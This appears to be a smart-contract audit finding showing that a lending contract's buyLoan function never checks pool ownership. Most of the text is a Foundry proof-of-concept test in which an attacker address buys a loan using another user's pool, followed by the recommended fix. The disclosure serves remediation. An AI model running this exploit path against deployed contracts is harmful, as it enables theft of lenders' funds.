In the buyLoan function, which allows lenders to buy active loans from other lender, it is never checked if the new pool is owned by the msg.sender. Therefore anybody can buy loans and is added as lender without even owning a pool, by just passing any valid pool into the parameters.
The following POC code shows the attack path, it can be implemented inside the current test folder of the repo.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TestERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract BuyingLoanWithoutPoolTest is Test {
Lender public lender;
TestERC20 public loanToken;
TestERC20 public collateralToken;
address public attacker = vm.addr(1);
address public user1 = vm.addr(2);
address public user2 = vm.addr(3);
function setUp() public {
lender = new Lender();
loanToken = new TestERC20();
collateralToken = new TestERC20();
loanToken.mint(user1, 1000 * 10 ** 18);
collateralToken.mint(user2, 2000 * 10 ** 18);
}
function test_buying_loan_without_pool() public {
vm.startPrank(user1);
loanToken.approve(address(lender), 1000*10**18);
lender.setPool(
Pool({
lender: user1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
})
);
vm.stopPrank();
vm.startPrank(user2);
collateralToken.approve(address(lender), 100*10**18);
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: lender.getPoolId(user1, address(loanToken), address(collateralToken)),
debt: 200*10**18,
collateral: 100*10**18
});
lender.borrow(borrows);
vm.stopPrank();
vm.startPrank(user1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.stopPrank();
vm.warp(block.timestamp + 1 days / 2);
vm.startPrank(attacker);
lender.buyLoan(0, lender.getPoolId(user1, address(loanToken), address(collateralToken)));
vm.stopPrank();
}
}
Users are able to buy loans for free and therefore steal funds.
Check if the lender of the given pool in buy loan equals msg.sender.